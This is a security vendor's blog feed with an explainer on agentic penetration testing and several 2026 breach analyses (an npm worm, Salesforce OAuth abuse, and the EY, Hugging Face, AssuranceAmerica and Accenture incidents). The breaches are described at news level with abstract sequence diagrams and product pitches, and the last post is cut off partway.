<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
  <title>Sekura blog</title>
  <link>https://sekura.ai/blog/</link>
  <atom:link href="https://sekura.ai/feed.xml" rel="self" type="application/rss+xml"/>
  <description>Autonomous penetration testing powered by specialized AI agents. Sekura verifies every finding through actual exploitation and runs continuously inside your environment.</description>
  <language>en-us</language>
  <lastBuildDate>Tue, 08 Sep 2026 08:00:00 +0000</lastBuildDate>
  <item>
    <title>What agentic cybersecurity actually means</title>
    <link>https://sekura.ai/blog/what-is-agentic-cybersecurity/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/what-is-agentic-cybersecurity/</guid>
    <pubDate>Tue, 08 Sep 2026 08:00:00 +0000</pubDate>
    <description>Agentic cybersecurity is on every vendor slide. Here is what the term actually means, where it is real today, and how to tell the mechanism from the marketing.</description>
    <content:encoded><![CDATA[<p>Agentic cybersecurity is the most overloaded phrase in security right now.</p>
<p>Every vendor has added it to their deck. Most of them mean something different by it. Some mean almost nothing. That is worth sorting out before you commit budget to it.</p>
<h2>What agentic cybersecurity actually means</h2>
<p>An AI agent is a system that can plan, call tools, and act across multiple steps without a human steering each one. A traditional model takes an input and returns an output. An agent takes a goal, decides how to pursue it, invokes tools, reads the results, and continues until it has an answer.</p>
<p>Agentic cybersecurity applies that architecture to security work: finding vulnerabilities, synthesizing exploits, and prioritizing remediation.</p>
<p>Three distinctions that matter:</p>
<ol>
<li>A classifier labels findings. An agent decides whether to dig deeper.</li>
<li>A scanner runs a fixed tool list. An agent chooses which tools to run based on what it finds.</li>
<li>A report summarizes data. An agent reasons about what the data means and acts on it.</li>
</ol>
<p>The third point is where most &quot;AI security&quot; products fall short. They score. They do not reason.</p>
<h2>Key facts</h2>
<p>The marketing is moving faster than the technology. Here are five concrete anchors:</p>
<ol>
<li>Most products described as &quot;agentic&quot; use ML classifiers trained on historical data. Classifiers do not plan; they pattern-match.</li>
<li>A genuine agent requires three components: a planning mechanism, memory (context across steps), and tool use. Planners without tool use are not agents.</li>
<li><a href="https://sekura.ai/blog/anatomy-of-a-scan/">Sekura&#39;s scan pipeline</a> runs seven phases, each driven by a specialized agent passing structured artifacts to the next. Each phase can change direction based on what the previous phase found.</li>
<li>The <a href="https://sekura.ai/blog/false-positive-economics/">false positive problem</a> in scanner output is exactly where agent-based reasoning earns its place. A classifier gives you a score; an agent confirms whether the score corresponds to something exploitable.</li>
<li>Autonomous does not mean unsupervised. Well-designed agentic systems surface their reasoning at every step. Opacity is a design flaw, not a feature.</li>
</ol>
<h2>Where it is real, and where it is not</h2>
<p>Real agentic security exists today in a few areas.</p>
<p>Penetration testing pipelines where agents run reconnaissance, form attack hypotheses, synthesize exploits, and chain them into multi-step compromise paths. This is the area we know best at Sekura.</p>
<p>Triage and prioritization, where agents read scanner output, call enrichment APIs (CVE databases, threat feeds), and produce an actionable worklist rather than a scored list.</p>
<p>Incident response support, where agents pivot through logs and surface candidate root causes. This is earlier-stage but moving quickly.</p>
<p>I think the clearest indicator of where it is not real is this: a genuine agent has an observable trace. You can see what it planned, which tools it called, what it found, and why it continued or stopped. If the vendor cannot show you that trace, they are not shipping an agent.</p>
<blockquote>
<p>&quot;AI-native&quot; is the new &quot;cloud-native.&quot; The phrase describes a decade of retrofits pretending to be a fresh start.</p>
</blockquote>
<h2>Questions that separate real from rhetorical</h2>
<p>Ask these five before any evaluation:</p>
<ol>
<li>What is the agent&#39;s planning mechanism? Can you show me the planning steps on a sample target?</li>
<li>What tools does the agent have access to, and how does it decide which to call?</li>
<li>How does the agent handle dead ends? What is the failure behavior when a tool returns nothing useful?</li>
<li>Does the system produce a deterministic exploit for each finding, or a probability score?</li>
<li>Can I see an agent trace from a real engagement, with intermediate steps visible?</li>
</ol>
<p>The answers will tell you more than any benchmark. Agents that can answer question four with a working exploit are a different product category from agents that answer it with a CVSS score.</p>
<p>I believe the gap between real and synthetic agentic security will close in the next eighteen months as the underlying models improve. But right now the gap is significant, and buyers who know what to ask for are the ones who will not pay twice for the same thing.</p>
<p>Security is moving from detection to action. That trajectory is slow but it has not reversed. <a href="https://sekura.ai/selfserve">Start with a free scan</a> to see what genuine agentic pentesting produces on your own attack surface.</p>
]]></content:encoded>
  </item>
  <item>
    <title>ChainDrop worm compromises 400 npm packages</title>
    <link>https://sekura.ai/blog/breach-chaindrop-npm-2026-08/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-chaindrop-npm-2026-08/</guid>
    <pubDate>Thu, 13 Aug 2026 08:00:00 +0000</pubDate>
    <description>A self-propagating npm worm named ChainDrop compromised more than 400 packages in early August 2026, stealing AWS credentials, Kubernetes tokens, and HashiCorp Vault secrets from enterprise CI/CD pipelines.</description>
    <content:encoded><![CDATA[<p>A self-propagating worm named ChainDrop moved through the npm registry in early August, compromising more than 400 packages across unrelated publishers and exfiltrating the credentials that enterprise CI/CD pipelines use to reach cloud infrastructure.</p>
<p>The attack started with stolen npm maintainer credentials. Once ChainDrop had a valid token, it enumerated every package that identity controlled, downloaded the latest release of each, inserted a malware bundle and a preinstall loader into the tarball, incremented the patch version, and republished the modified package. Any development team that ran npm install after the poisoned versions appeared in the registry had the preinstall hook execute before the installation completed. The hook collected npm tokens, GitHub tokens, AWS credentials, Kubernetes tokens, and HashiCorp Vault secrets from the CI/CD environment, then transmitted them over HTTPS to attacker-controlled infrastructure.</p>
<p><a href="https://www.microsoft.com/en-us/security/blog/2026/08/04/chaindrop-supply-chain-compromise-anatomy-self-propagating-worm/">Microsoft documented the full attack chain</a> on August 4, identifying major enterprise packages including keyv, flat-cache, and cache-manager among more than 400 compromised. For cloud-native organisations, the stolen credentials represent a direct path to production resources: an AWS credential reads S3 buckets, parameter stores, and Secrets Manager; a Kubernetes token enumerates cluster state and retrieves configuration secrets; a Vault token exposes database passwords and TLS certificates. None of the affected packages raised an error during installation. The worm returned a clean exit code.</p>
<p>Two things are worth pulling out of the reporting.</p>
<h2>What scanners would have missed</h2>
<p>Software composition analysis tools check dependency versions against CVE databases. ChainDrop has no CVE. It did not exploit a vulnerability in npm, in keyv, or in any CI/CD system. It abused npm&#39;s trust model by publishing tampered tarballs under legitimate package names at fresh patch versions that had never previously existed.</p>
<p>Four patterns explain the gap:</p>
<ol>
<li>Severity rankings that do not reflect the actual exploit path. A SCA scan of a package.json containing keyv at the poisoned version would return no known vulnerabilities. CVSS is undefined here, not because the risk is low, but because CVSS does not model supply chain integrity failures at the registry layer.</li>
<li>Single-tool scope. SAST scans source code. DAST probes running applications. SCA checks dependency metadata against known-vulnerability databases. None of these inspect the npm registry to detect that a published version has been silently replaced since its prior release.</li>
<li>Reachability analysis that stops at the application boundary. A tool that flagged a preinstall hook would not answer whether that hook was new to this version or whether it makes outbound connections to unfamiliar infrastructure. The question requires dynamic execution, not static inspection.</li>
<li>A missing verification control. npm does not validate by default that a downloaded tarball matches a known-good hash from a prior build. The assumption that version X.Y.Z is the same artifact as last sprint is not enforced by any scanner in the standard SAST-DAST-SCA stack.</li>
</ol>
<p>The failure is a build-time trust boundary that standard tooling is not designed to audit.</p>
<h2>What Sekura would have shown</h2>
<p>Phase 4 of Sekura&#39;s pipeline is exploit synthesis. The agent takes a hypothesis and produces a deterministic proof.</p>
<p>For a customer with keyv or flat-cache in their dependency graph, the exploit synthesis agent would start from a Phase 1 finding: the white-box SAST scan flagged that keyv at the affected patch version contains a preinstall script absent from the prior release, and that the script makes outbound network calls to an external endpoint. Phase 4 takes that finding and executes the tampered package in a sandboxed CI environment. The result is a working proof: which credential environment variables the preinstall hook captured, and where it transmitted them.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant Attacker
  participant npm as npm Registry
  participant CI as Customer CI/CD
  participant Env as Env Variables (AWS, K8s, Vault)
  participant C2 as Attacker Infrastructure
  Attacker-&gt;&gt;npm: publish tampered keyv@X.Y.Z with preinstall hook
  CI-&gt;&gt;npm: npm install
  npm--&gt;&gt;CI: deliver tampered tarball
  CI-&gt;&gt;Env: preinstall hook reads credentials
  CI-&gt;&gt;C2: exfiltrate over HTTPS
  note over CI: exit code 0, no error raised
</code></pre>
<p>What we would not claim is that this analysis would have stopped ChainDrop from reaching the npm registry. The finding lives inside the customer&#39;s build pipeline: does your CI/CD environment verify tarball integrity before executing install hooks? ChainDrop turns that question into a concrete, demonstrable answer. The proof shows which tokens leave your environment and where they go, not a theoretical model of what an attacker could do.</p>
<h2>The bigger pattern</h2>
<p>This is a build-time trust attack. The category is not new, but the mechanism is.</p>
<p>Earlier supply chain compromises targeted single packages. ChainDrop targeted the maintainer identity layer: one stolen credential reaches every package that identity controls, across any publisher. A single token theft can cascade across hundreds of packages before any detection fires.</p>
<p>Enterprise security posture is mostly measured at the application layer. Organisations scan containers, audit APIs, and run SCA against dependencies. Fewer have a concrete answer to a simpler question: who verifies that npm install does not execute attacker code before the first line of your application runs? Build-time integrity is an assumed guarantee, not an enforced control. ChainDrop demonstrates what happens when that assumption is tested.</p>
<p>If you want to see what proof-first analysis of your build pipeline looks like, <a href="https://sekura.ai/poc/">book a POC</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>ShinyHunters takes 25 million Alcon Salesforce records</title>
    <link>https://sekura.ai/blog/breach-alcon-2026-08/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-alcon-2026-08/</guid>
    <pubDate>Thu, 06 Aug 2026 08:00:00 +0000</pubDate>
    <description>ShinyHunters claimed 25 million Salesforce records from Alcon Inc. in August 2026, using OAuth Connected App abuse to exfiltrate CRM data without triggering login alerts. Here is what proof-first analysis would have shown.</description>
    <content:encoded><![CDATA[<p>ShinyHunters listed Alcon Inc. on its extortion portal on August 2, 2026, claiming it had exfiltrated 25 million Salesforce records containing personally identifiable information.</p>
<p>Alcon is a Swiss-headquartered eye care company with roughly $9.9 billion in annual revenue and operations in over 60 countries. The claim was posted alongside two other victims: Questel SAS, a Paris-based intellectual-property software provider where ShinyHunters alleged 21 million Salesforce records and 147 GB of internal data, and Lumenis Ltd., an Israeli medical-technology firm where the group claimed 1.1 million records and 176 GB. ShinyHunters gave each organisation until August 4 to make contact before threatening public release. As of publication, Alcon has not issued a public statement on the claim.</p>
<p>The attack technique is consistent with a campaign <a href="https://www.microsoft.com/en-us/security/blog/2026/07/13/defending-saas-based-applications-against-shinyhunters-oauth-abuse/">Microsoft documented in July 2026</a>. ShinyHunters abuses Salesforce Connected Apps through two paths. The first is vishing: threat actors impersonate IT support and guide employees through an OAuth consent flow that authorizes a malicious app disguised as Salesforce Data Loader. The second is supply chain compromise: by breaching third-party SaaS vendors that integrate with Salesforce via OAuth, the group obtains refresh tokens that grant persistent API access to downstream customer Salesforce instances. Once inside, bulk SOQL queries export accounts, contacts, and service case records without triggering sign-in anomalies, because the API calls are indistinguishable from legitimate integrations. Two things are worth pulling out of the reporting.</p>
<h2>What scanners would have missed</h2>
<p>The vulnerability here is not in source code. It is in the trust relationships between Salesforce and the applications connected to it.</p>
<p>A SAST scanner running on Alcon&#39;s internal codebase would find nothing. The exfiltration path did not pass through Alcon&#39;s own code. A DAST scanner probing Alcon&#39;s web applications would also find nothing. The attacker did not send malformed HTTP requests to Alcon&#39;s servers. A dependency scanner checking for CVEs in Alcon&#39;s libraries would find nothing. There is no CVE for this class of attack.</p>
<p>The failure modes fall into four patterns that scanners miss consistently:</p>
<ol>
<li>Overprivileged Connected Apps that can bulk-query CRM data with no additional user verification.</li>
<li>Third-party OAuth integrations inheriting high-privilege Salesforce user contexts from compromised vendors.</li>
<li>No rate limiting or anomaly detection on bulk record exports via the API.</li>
<li>OAuth consent flows that any authenticated employee can complete without a secondary approval step.</li>
</ol>
<p>Severity rankings are meaningless here because there is no CVE to score. The attack surface exists entirely in a configuration layer that SAST, DAST, and SCA tools do not model. A CVSS score divorced from your actual OAuth trust graph tells you nothing about whether your Salesforce instance is safe.</p>
<h2>What Sekura would have shown</h2>
<p>Phase 3 of Sekura&#39;s pipeline is dynamic probing. The agent in that phase is not running a web vulnerability scanner. It is actively probing the application&#39;s attack surface at runtime, including identity flows, OAuth endpoints, and third-party integration touchpoints.</p>
<p>For an Alcon-style environment, the dynamic probing agent would have enumerated the Salesforce Connected Apps registered in the org. It would have identified which apps held refresh tokens with broad API scope. It would have tested whether the OAuth consent flow for a newly registered Connected App could be completed without secondary verification. And it would have queried the Salesforce API under a constrained test-user context to confirm whether bulk record export was rate-limited or flagged.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant SH as ShinyHunters
  participant Vendor as Compromised SaaS Vendor
  participant SF as Salesforce API
  participant CRM as Alcon CRM Data
  SH-&gt;&gt;Vendor: compromise OAuth refresh token
  Vendor--&gt;&gt;SH: token with bulk API scope
  SH-&gt;&gt;SF: bulk SOQL queries via Connected App
  SF-&gt;&gt;CRM: return account, contact, case records
  CRM--&gt;&gt;SH: 25M records exfiltrated
  note over SF: no sign-in alert triggered
</code></pre>
<p>The finding would have shown a Connected App with <code>full</code> or <code>api</code> scope that any authenticated employee can authorize, combined with a third-party integration carrying a long-lived refresh token with no expiry policy, combined with no transaction security policy on bulk exports. That combination is not a theoretical risk. It is a demonstrable exfiltration path.</p>
<p>What we would not claim is that this analysis would have stopped the attack. The dynamic probing agent would have produced a proof showing the path was open, and given Alcon a concrete remediation target: scope-restrict Connected Apps, rotate long-lived OAuth tokens, enable Salesforce Event Monitoring with bulk export alerts.</p>
<h2>The bigger pattern</h2>
<p>This is an OAuth trust chain attack. The category is not new. The scale is.</p>
<p>ShinyHunters has tallied over 1.5 billion stolen Salesforce records across victims in the past several months. The reason is that Salesforce is a concentration point. One well-connected CRM instance holds more customer and employee PII than most internal databases. And the trust model, Connected Apps with broad scope and long-lived refresh tokens, was designed for developer convenience in environments where credential theft of a third-party vendor now means instant access to the downstream CRM.</p>
<p>Most organisations can name their internet-facing web applications. Fewer can enumerate which third-party integrations hold active OAuth tokens against their Salesforce org, what scope those tokens carry, and when those tokens last rotated. That gap is where this campaign runs.</p>
<p>If you want to see what proof-first coverage of your SaaS trust graph looks like, <a href="https://sekura.ai/poc/">book a POC</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>EY breach exposes client tax records</title>
    <link>https://sekura.ai/blog/breach-ey-2026-07/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-ey-2026-07/</guid>
    <pubDate>Thu, 30 Jul 2026 08:00:00 +0000</pubDate>
    <description>ShinyHunters claimed a supply-chain attack on EY's IT support platform. Unauthorized access from March 28 to April 12, 2026 exposed client SSNs, bank accounts, and tax filing records.</description>
    <content:encoded><![CDATA[<p>Ernst &amp; Young began notifying clients this week of a breach affecting a third-party IT support platform used by EY personnel for tax-related work.</p>
<p>An unauthorized party accessed EY&#39;s IT service management platform from March 28 to April 12, 2026. EY uses the platform so internal IT staff can support teams handling client tax engagements. Support tickets submitted through that platform often include document attachments containing client tax filings. EY detected anomalous activity on April 23 and began an investigation. The company has since filed breach notifications with the California and Texas attorneys general, naming at least 1,366 affected individuals in those two states.</p>
<p><a href="https://www.bleepingcomputer.com/news/security/ernst-and-young-data-breach-claimed-by-shinyhunters-extortion-gang/">BleepingComputer reported</a> that the ShinyHunters extortion group has claimed responsibility, adding EY to its dark web leak site with a July 31, 2026 deadline. The group alleges it obtained EY credentials through a supply-chain compromise of the vendor operating the ITSM platform, then used those credentials to access client documents. ShinyHunters also claims those credentials opened EY&#39;s Jira, GitHub, and Microsoft Azure environments. EY has not confirmed that ShinyHunters was the responsible party or that internal systems beyond the ITSM platform were affected. Exposed data potentially includes names, home addresses, Social Security numbers, bank account numbers, payment card data, and other information used in preparing tax filings. Affected clients are being offered 24 months of identity monitoring through Experian.</p>
<p>Two things are worth pulling out of the reporting.</p>
<h2>What scanners would have missed</h2>
<p>The breach did not originate inside EY&#39;s own code. No SAST tool scanning EY&#39;s repositories would have reached the vendor&#39;s platform. No DAST tool crawling EY&#39;s external endpoints would have mapped the ITSM system as part of EY&#39;s attack surface. The attack surface was a third-party SaaS tool, operated by a separate organization, carrying EY client data.</p>
<p>This is the failure mode that CVSS-based scanning cannot see. A scanner assigns a severity score to a vulnerability it can observe in your own environment. It has no model of which third-party tools hold your data, who can authenticate into them, or what happens to your clients&#39; documents if a vendor credential is compromised.</p>
<p>Four gaps that standard tooling cannot close:</p>
<ol>
<li>SAST has no visibility into vendor codebases or vendor infrastructure.</li>
<li>DAST crawls your perimeter, not the vendor&#39;s authentication flow.</li>
<li>SCA maps your dependencies, not the data sensitivity of what flows through a trusted partner&#39;s system.</li>
<li>CVSS scores do not reflect the blast radius of a federated trust relationship.</li>
</ol>
<p>The EY incident is a data-classification and trust-boundary problem. That is why no standard scanner would have flagged it.</p>
<h2>What Sekura would have shown</h2>
<p>Sekura&#39;s Phase 5, exploit-chain analysis, is where this kind of multi-hop attack path becomes visible.</p>
<p>The chain here had three links: the vendor&#39;s credential store was the entry point; EY&#39;s ITSM instance was the pivot; client tax documents were the payload. A scanner evaluating any single link in isolation would not produce that picture.</p>
<p>Sekura&#39;s exploit-chain agent would have started by mapping the full trust graph: which external platforms have authenticated access to client data, what credential is needed to read document attachments, and how many clients are exposed if that credential is compromised. From that mapping, it would have synthesized a finding showing the data reachable with one compromised vendor login. Not a &quot;medium: exposed support portal&quot; label. A precise statement of blast radius: bulk client SSNs and financial data accessible through a single federated credential.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant Attacker
  participant Vendor as ITSM Vendor
  participant ITSM as EY ITSM Platform
  participant Docs as Client Tax Documents
  Attacker-&gt;&gt;Vendor: Supply-chain credential compromise
  Attacker-&gt;&gt;ITSM: Login with stolen EY credentials
  ITSM-&gt;&gt;Docs: Support tickets carry client tax attachments
  Attacker-&gt;&gt;Docs: Bulk exfiltration (March 28 - April 12)
</code></pre>
<p>I think the hardest part of this class of problem is that it requires treating your vendors&#39; access to your data with the same rigor you apply to your own code. Most security programs do not do that.</p>
<h2>The bigger pattern</h2>
<p>This is a third-party supply-chain breach. The victim is a Big 4 firm, the data is among the most sensitive a professional services organization handles, and the entry point was a support ticket system with no CVE attached to it.</p>
<p>Supply-chain breaches follow a consistent structure: a trusted vendor holds data that belongs to the customer, the vendor&#39;s security controls do not match the data&#39;s sensitivity, and the customer has no direct visibility into the vendor&#39;s access model. The EY incident fits that structure.</p>
<p>We are in a period where sensitive data has accumulated inside SaaS workflows that were designed for operational convenience. The access control requirements of the data those workflows now carry were not the original design constraint. That gap is where supply-chain attacks find purchase.</p>
<p>If you want to see what proof-first looks like on your own third-party attack surface, <a href="https://sekura.ai/poc/">book a POC</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Hugging Face pipeline breach exposes internal credentials</title>
    <link>https://sekura.ai/blog/breach-hugging-face-2026-07/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-hugging-face-2026-07/</guid>
    <pubDate>Thu, 23 Jul 2026 08:00:00 +0000</pubDate>
    <description>A malicious dataset chained two code-execution flaws in Hugging Face's data-processing pipeline, giving an AI agent lateral access to internal cluster credentials.</description>
    <content:encoded><![CDATA[<p>Hugging Face disclosed on July 20 that a malicious dataset chained two code-execution vulnerabilities in its data-processing pipeline, giving an attacker&#39;s autonomous agent node-level access to internal cluster credentials.</p>
<p>The intrusion began with a dataset upload. According to <a href="https://huggingface.co/blog/security-incident-july-2026">Hugging Face&#39;s official security incident disclosure</a>, the dataset abused two distinct code-execution paths in the company&#39;s data-processing infrastructure. The first was a remote-code dataset loader: Hugging Face&#39;s platform supports custom loading scripts that execute automatically when a dataset is ingested. The second was a template-injection flaw in a dataset configuration file. When the platform parsed that config, it executed an attacker-controlled payload. Together, the two paths gave the attacker code execution on processing workers inside Hugging Face&#39;s production environment.</p>
<p>From that initial foothold, an autonomous agent framework escalated to node-level access, obtained cloud and cluster credentials, and moved laterally across internal systems over a single weekend. The disclosure counted more than 17,000 recorded actions. Hugging Face confirmed that public models, datasets, and Spaces were not tampered with, and that the software supply chain was verified clean. Service credentials were compromised. The company revoked and rotated the affected tokens, closed the dataset code-execution paths, rebuilt affected nodes, and deployed enhanced cluster guardrails.</p>
<p>Two things are worth pulling out of the reporting.</p>
<h2>What scanners would have missed</h2>
<p>Both vulnerabilities in this breach were plausibly findable before the incident. That is exactly the problem.</p>
<p>A SAST pass over the dataset-processing code would have flagged the remote-code loader as a code-execution risk. But the remote-code loader is a documented platform feature. Hugging Face&#39;s ecosystem depends on dataset loading scripts that execute automatically on ingestion. A SAST tool produces a finding; it cannot determine whether the feature is reachable from an untrusted external submission boundary, or whether execution is isolated from production credentials. Without that context, the finding lands in a queue alongside dozens of others with similar CVSS scores.</p>
<p>The template-injection flaw in the config parser would have produced a separate finding. Separate severity score. Separate triage ticket. No relationship to the first finding.</p>
<p>DAST would not have closed this gap. Dynamic scanners probe the public API surface. The dataset-ingestion pipeline is internal infrastructure. A scanner targeting the HTTP boundary would not exercise the processing worker the same way a submitted dataset does. The attack surface was not where most tooling looks.</p>
<p>The critical failure mode here is the exploit chain, not either finding individually. One medium-to-high severity finding for the loader, one medium-to-high for the config parser, neither especially urgent in isolation. Combined from the same dataset submission, they produce privilege escalation to internal cluster credentials. A severity ranking system that evaluates findings independently does not surface that combination.</p>
<h2>What Sekura would have shown</h2>
<p>This is a Phase 4 case: exploit synthesis.</p>
<p>Sekura&#39;s exploit-synthesis agent takes findings from the SAST and dynamic-probing phases and attempts to construct working exploit chains across component boundaries. For a data-processing pipeline that ingests untrusted content, the relevant surface is the submission-to-worker execution path.</p>
<p>The SAST agent would have identified both the remote-code loader path and the template-injection flaw. The exploit-synthesis agent would then ask the natural next question: can these two findings be reached from the same attacker-controlled input? A single malicious dataset can include both a crafted loading script and a poisoned config file. Submitting that dataset reaches both code-execution paths in the same pipeline run.</p>
<p>Sekura would have produced a finding showing a chained code-execution path from external dataset submission to processing worker, with a proof-of-concept demonstrating that the worker&#39;s execution environment shares credential access with internal cluster infrastructure. That finding would carry the blast radius: cloud credentials scoped across production nodes.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant Attacker
  participant Platform as HF Dataset Platform
  participant Loader as Dataset Loader
  participant Config as Config Parser
  participant Worker as Processing Worker
  participant Cluster as Internal Cluster
  Attacker-&gt;&gt;Platform: submit dataset with crafted loader + config
  Platform-&gt;&gt;Loader: execute loading script (RCE path 1)
  Platform-&gt;&gt;Config: parse dataset config (template injection path 2)
  Loader-&gt;&gt;Worker: attacker code runs on worker
  Config-&gt;&gt;Worker: template payload executes
  Worker-&gt;&gt;Cluster: access cloud and cluster credentials
  Cluster--&gt;&gt;Attacker: lateral movement across internal nodes
</code></pre>
<p>We would not claim this would have prevented the breach. What we can say is that proof-first analysis of the ingestion pipeline would have produced one chained finding with a working exploit, not two disconnected medium-severity notes in separate queues.</p>
<h2>The bigger pattern</h2>
<p>This breach belongs to a growing category: attacks on the tooling infrastructure that AI platforms depend on to function. The dataset-processing pipeline exists because ML development requires processing untrusted data at scale. That is the feature. The feature is also the attack surface.</p>
<p>In 2026, AI supply chain is where software supply chain was in 2020: a widely understood risk in principle and largely unverified in practice. The Hugging Face incident is notable not because the individual techniques were novel, but because an autonomous agent framework compressed the time from initial foothold to broad lateral movement down to a single weekend. Speed of exploitation changes what continuous security analysis means in practice.</p>
<p>The question for any team operating an AI platform is not whether their public API is hardened. It is whether the pipeline processing untrusted content has been subject to the same proof-first analysis.</p>
<p>If you want to see what that analysis looks like on your own infrastructure, <a href="https://sekura.ai/poc/">book a POC</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>AssuranceAmerica breach exposes 7 million driver records</title>
    <link>https://sekura.ai/blog/breach-assuranceamerica-2026-07/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-assuranceamerica-2026-07/</guid>
    <pubDate>Thu, 16 Jul 2026 08:00:00 +0000</pubDate>
    <description>A stolen employee credential gave attackers bulk access to 6.99 million Americans' driver's licenses and insurance records at AssuranceAmerica. Here is what that failure mode looks like through a proof-first lens.</description>
    <content:encoded><![CDATA[<p>A stolen employee credential gave an attacker unrestricted access to the insurance records and driver&#39;s license numbers of 6.99 million Americans, in the largest known US driver&#39;s license exposure reported in 2026.</p>
<p>AssuranceAmerica, an Atlanta-based auto insurer, detected suspicious activity in its network on March 17, 2026. <a href="https://www.bleepingcomputer.com/news/security/assuranceamerica-data-breach-exposes-records-of-69-million-drivers/">BleepingComputer reported</a> that an external forensics investigation traced the intrusion to March 16, when an attacker used compromised employee credentials to access portions of the company&#39;s IT environment and began copying customer data files. The stolen records cover 6.99 million individuals and include names, contact details, automobile insurance policy information, vehicle and driver data, claims records, and driver&#39;s license numbers. The company completed its review of the accessed data on June 15 and began notifying affected customers in July.</p>
<p>AssuranceAmerica&#39;s disclosed response included disabling the compromised credentials, terminating unauthorized sessions, isolating affected systems, resetting passwords, and deploying enhanced monitoring. The company has stated that it has no current evidence of fraudulent use of the stolen records.</p>
<p>Two things are worth examining closely.</p>
<h2>What scanners would have missed</h2>
<p>The attacker did not exploit a vulnerability. They used a valid password.</p>
<p>Vulnerability scanners classify risk by matching observed conditions against known-bad signatures. A CVSS score describes a flaw in software. Neither applies when an attacker authenticates as a legitimate employee. From the application&#39;s perspective, a stolen credential and a genuine one produce identical sessions.</p>
<p>DAST tools might probe the employee login portal for injection flaws or authentication bypasses. They will not test what a correctly authenticated session can reach from the inside. SCA adds nothing relevant here. SAST cannot surface an access control gap that lives in application configuration and business logic rather than code syntax.</p>
<p>Here is what the scanner gap looks like in concrete terms for this breach:</p>
<ol>
<li>No scanner tested whether a single employee account could bulk-export the full customer record set.</li>
<li>No scanner assessed whether the API behind the employee portal enforced per-session row limits or export ceilings.</li>
<li>No scanner modeled the blast radius if one account in the employee directory were compromised.</li>
<li>No scanner flagged that 6.99 million records were reachable from a single authenticated session.</li>
</ol>
<p>The failure mode is not a missing patch. It is a privilege scope that was never treated as an attack surface.</p>
<h2>What Sekura would have shown</h2>
<p>Sekura&#39;s Phase 3 agent (dynamic probing) works from inside authenticated sessions, not from the unauthenticated perimeter.</p>
<p>After Phase 2 recon identifies the employee-facing portal as an attack surface, Phase 3 probes it from the perspective of a correctly authenticated session. It tests for bulk data export paths, API endpoints that accept wildcard queries, pagination handlers without row caps, and access control boundaries that differ between user roles. Where a single session can reach data beyond what that role&#39;s function requires, the agent records a finding.</p>
<p>Here is what the attack path would have looked like in Phase 3&#39;s output:</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant A as Attacker
  participant Portal as Employee Portal
  participant API as Internal Data API
  participant DB as Customer Database
  A-&gt;&gt;Portal: authenticate with stolen credential
  Portal-&gt;&gt;API: session token issued
  A-&gt;&gt;API: GET /customers (no per-session row cap)
  API-&gt;&gt;DB: bulk SELECT, no result limit
  DB--&gt;&gt;A: 6.99M records returned
</code></pre>
<p>Phase 3 would have produced a finding showing that a single authenticated employee session could enumerate and download the full customer dataset through the internal API, with no enforced row ceiling. In Phase 4 (exploit synthesis), we would then generate the proof: a deterministic script that authenticates with a test credential and confirms the complete export path, demonstrating the blast radius before any unauthorized party reached it.</p>
<p>I think that distinction matters. No CVE exists for &quot;overly permissive employee data access.&quot; CVSS has no score for it. But a working proof of bulk export makes the risk concrete in terms any incident response team can act on directly.</p>
<h2>The bigger pattern</h2>
<p>Credential-based intrusions have become the dominant pattern in US insurance-sector breach disclosures in 2026. The sequence is consistent: one employee credential obtained via phishing or credential reuse, one authenticated session, and access to everything that session can reach.</p>
<p>Insurance companies are a frequent target for this pattern. They hold driver&#39;s license numbers, claims histories, vehicle details, and payment records. That combination is directly useful for identity fraud and insurance fraud. The systems holding that data were built for employee workflow efficiency, not for limiting the blast radius of a single compromised account.</p>
<p>The perimeter has been hardened over many years. The attacks have moved to the inside.</p>
<p>If you want to see what proof-first access testing looks like on your own employee authentication surface, <a href="https://sekura.ai/poc/">book a POC</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Accenture source code breach exposes cloud keys</title>
    <link>https://sekura.ai/blog/breach-accenture-2026-07/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-accenture-2026-07/</guid>
    <pubDate>Thu, 09 Jul 2026 08:00:00 +0000</pubDate>
    <description>Threat actor '888' posted 35GB of alleged Accenture source code, RSA keys, SSH keys, and Azure PATs for sale on PwnForums in July 2026. Accenture confirmed an incident. Here is what proof-first analysis would have shown.</description>
    <content:encoded><![CDATA[<p>A threat actor listed 35 gigabytes of alleged Accenture source code, RSA keys, SSH keys, and Azure access tokens for sale on a cybercrime forum on July 7, 2026.</p>
<p>The seller, going by the handle &quot;888,&quot; posted on PwnForums with an archive described as &quot;just over 35gb of source codes.&quot; As proof, they shared a screenshot showing a clone of a private Azure DevOps repository named 121123_AtriasTalentAcademy, hosted under an accenture.com-associated production domain. <a href="https://www.bleepingcomputer.com/news/security/accenture-confirms-breach-after-hacker-offers-stolen-data-for-sale/">BleepingComputer reported</a> that the claimed archive includes source code, RSA private keys, SSH keys, Azure Personal Access Tokens, Azure Storage access keys, and configuration files. The full archive is listed for purchase.</p>
<p>Accenture responded on July 8. A spokesperson described the incident as &quot;an isolated matter&quot; that the company has &quot;remediated its source,&quot; adding that operations and service delivery were not affected. What Accenture did not address: how access was obtained, whether the archive includes client code, whether the Azure tokens were rotated before or after the data was extracted, and whether any downstream Azure DevOps organization sharing scope with Accenture carries residual exposure. The company&#39;s statement closes the public disclosure with those four questions still open.</p>
